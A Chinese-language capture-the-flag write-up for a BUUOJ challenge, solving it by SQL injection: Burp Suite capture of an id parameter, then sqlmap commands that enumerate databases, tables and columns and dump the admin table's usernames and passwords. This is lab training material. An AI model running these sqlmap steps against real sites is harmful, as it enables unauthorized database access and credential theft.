进入题目界面,先尝试登录

尝试admin或者其它登录信息,报出同样的错误弹窗,说明在这里难以找到有用的提示。

联系题目名称,这题应该是一个sql注入攻击。

回到主界面,分别点击测试新闻1、2、3,注意到顶部链接有变化

用BP进行抓包,尝试找出有用的信息

抓包发现,我们访问链接时,存在一个/backend/content_detail.php?id=1的get请求

我们打开sqlmap,对这个链接进行扫描

python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1" 

有询问就全部Y

如上图。扫描到id是可注入参数。那就直接用它来查数据库

python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1" --dbs

结果如下图

下一步该查表了,但我们不知道该从哪个库中开始查,只能凭直觉选择。这里经过多次试错,最终定位为news库。为了节省篇幅,不再进行错误示范。

对news进行查表。

python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1" -D news --tables

结果如下图

继续凭直觉选择,通常admin中的信息比较有价值。

python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1" -D news -T admin --columns

结果如下图

username和password就是我们要找的登录信息了。现在对数据进行转储显示

python sqlmap.py -u "http://41af2dec-e63f-46d6-97b7-770a68053968.node5.buuoj.cn:81/backend/content_detail.php?id=1" -D news -T admin -c password,username --dump

遇到do you want to crack them via a dictionary-based attack? [Y/n/q] 记得n拒绝,这个指令的意思是使用本地词典来破解数据,本题中不需要。

结果如下图所示

将账号密码输入登录界面,flag就出来了。

关于sqlmap的使用教程,我在网上找了一篇不错的

Logo

开源鸿蒙跨平台开发社区汇聚开发者与厂商,共建“一次开发,多端部署”的开源生态,致力于降低跨端开发门槛,推动万物智联创新。

更多推荐